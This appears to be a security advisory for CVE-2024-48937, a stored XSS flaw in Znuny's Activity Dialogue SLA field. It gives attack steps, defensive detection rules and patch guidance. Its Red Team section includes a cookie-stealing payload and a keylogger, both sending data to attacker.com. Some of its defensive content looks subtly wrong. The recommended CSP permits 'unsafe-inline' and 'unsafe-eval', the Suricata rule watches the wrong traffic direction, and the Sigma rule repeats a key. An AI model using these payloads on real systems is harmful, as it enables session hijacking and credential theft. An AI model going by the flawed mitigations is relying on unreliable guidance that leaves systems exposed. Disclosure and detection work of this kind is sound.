CVE-2024-48937

Executive Summary

CVE-2024-48937 is a stored Cross-Site Scripting (XSS) vulnerability in Znuny, an open-source fork of OTRS (Open Ticket Request System). The flaw resides in the handling of the "short description" field within the SLA (Service Level Agreement) configuration of Activity Dialogues. An authenticated attacker with sufficient permissions can inject arbitrary JavaScript code into this field. When an administrator or other privileged user views the affected Activity Dialogue, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or unauthorized actions within the Znuny application.

This vulnerability affects Znuny versions from 6.5.1 through 6.5.10 and from 7.0.1 through 7.0.16. The CVSS score is 4.8 (Medium), reflecting the need for authenticated access and user interaction. However, the impact is amplified in multi-tenant or high-value environments where SLA configurations are frequently reviewed.

Supply Chain & Package Security

Znuny is a Perl-based application distributed as a source tarball or via package managers (e.g., CPAN). This vulnerability does not directly affect the Perl package ecosystem, but organizations using Znuny as a dependency in custom deployments should verify their version. No malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with permissions to modify SLA fields.
• User Interaction (UI): Required (R) – A victim (e.g., admin) must view the malicious Activity Dialogue.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No direct impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium. Exploitation requires authentication and user interaction, but the potential for lateral movement or privilege escalation within the Znuny instance makes it a priority for patching.

Deep Dive & Mechanics

The vulnerability exists in the Znuny module responsible for rendering Activity Dialogues. Activity Dialogues are used to define workflows and interactions with customers, and they include SLA fields that contain a "short description" attribute. This attribute is stored in the database without proper sanitization or encoding.

When an administrator or agent views an Activity Dialogue that includes an SLA field, the short description is rendered in the browser. If the description contains malicious JavaScript, it is executed in the context of the user's session. The injection point is likely in a template file (e.g., .tt or .dtl) where the short description is output using a raw or unsafely escaped variable.

The attack flow:

1. Attacker logs in with a user account that has permissions to create or edit Activity Dialogues.
2. Attacker creates or modifies an Activity Dialogue, setting the SLA field's short description to a payload like <script>alert('XSS')</script>.
3. An administrator or another user with access to that Activity Dialogue views it.
4. The injected script executes, potentially stealing cookies, performing actions on behalf of the victim, or exfiltrating data.

Vulnerable vs. Patched Code

Vulnerable Code (Znuny 7.0.16): In the template file Kernel/Output/HTML/Templates/Standard/Agent/ActivityDialog/SLA.tt, the short description is rendered without escaping:

[% Data.SLAShortDescription %]

Patched Code (Znuny 7.0.17): The patched version uses HTML escaping:

[% Data.SLAShortDescription | html %]

This change ensures that any HTML or JavaScript in the short description is encoded before being sent to the browser, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Znuny instance (version 7.0.1 to 7.0.16 or 6.5.1 to 6.5.10).
• A user account with permissions to manage Activity Dialogues (e.g., "Admin" or "Agent" role with appropriate ACLs).

Exploitation Steps:

1. Log in to Znuny as the attacker user.
2. Navigate to Admin > Activity Dialogues.
3. Create a new Activity Dialogue or edit an existing one.
4. In the SLA field, set the Short Description to a malicious payload, e.g.:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the Activity Dialogue.
6. Wait for an administrator or another user to view the Activity Dialogue (e.g., by opening a ticket that uses this dialogue).
7. The victim's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team

Detection:

• Monitor Znuny logs for unusual Activity Dialogue modifications, especially by non-admin users.
• Use WAF rules to block common XSS payloads in POST requests to /znuny/index.pl?Action=AdminActivityDialog*.
• Deploy browser-based XSS filters (e.g., CSP headers) to mitigate impact.

Hunting:

• Search database for SLA short descriptions containing <script, onerror, onload, or other XSS indicators.
• Review Znuny access logs for requests to /znuny/index.pl?Action=AgentActivityDialog* from unusual IPs or user agents.

Lab Setup:

1. Install Znuny 7.0.16 in a Docker container:

   docker run -d -p 8080:80 --name znuny-vuln znuny/znuny:7.0.16
   

2. Access the web interface at http://localhost:8080/znuny/.
3. Create an admin user and an attacker user with limited permissions.
4. Follow the Red Team steps to reproduce the XSS.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the Znuny server.
  • Suspicious POST requests to /znuny/index.pl?Action=AdminActivityDialog* containing <script> tags.
• Host:
  • Modified SLA short descriptions in the Znuny database (table sla, column short_description).
  • Unusual entries in Znuny log files (/opt/znuny/var/log/) indicating failed login attempts or privilege escalation.
• File:
  • Presence of malicious JavaScript in Znuny template files (unlikely, but possible if attacker gains file write access).

Detection Engineering

YARA Rule

rule CVE_2024_48937_Znuny_XSS {
    meta:
        description = "Detects XSS payloads in Znuny SLA short descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-48937"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Znuny SLA XSS Payload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in Znuny SLA short description fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'Action=AdminActivityDialog'
        cs-uri-query|contains: 'Subaction=Save'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in SLA descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-48937 Znuny SLA XSS Payload Outbound";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/znuny/index.pl"; http_uri;
    content:"Action=AdminActivityDialog"; http_uri;
    content:"Subaction=Save"; http_uri;
    pcre:"/(<script|onerror=|onload=|javascript:)/Pi";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Znuny to version 6.5.11 or 7.0.17 or later. These versions include the fix for CVE-2024-48937.
2. If upgrading is not immediately possible, apply a virtual patch using a WAF to block XSS payloads in Activity Dialogue requests.
3. Review and restrict permissions for creating/modifying Activity Dialogues to only trusted administrators.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

• Conduct regular security audits of Znuny configurations and user permissions.
• Enable input validation and output encoding in all custom Znuny modules.

Workaround:

• Manually edit the vulnerable template file (Kernel/Output/HTML/Templates/Standard/Agent/ActivityDialog/SLA.tt) to add HTML escaping:

  [% Data.SLAShortDescription | html %]
  

  Then clear the template cache:

  /opt/znuny/bin/znuny.Console.pl Maint::Cache::Delete
  

Valters IT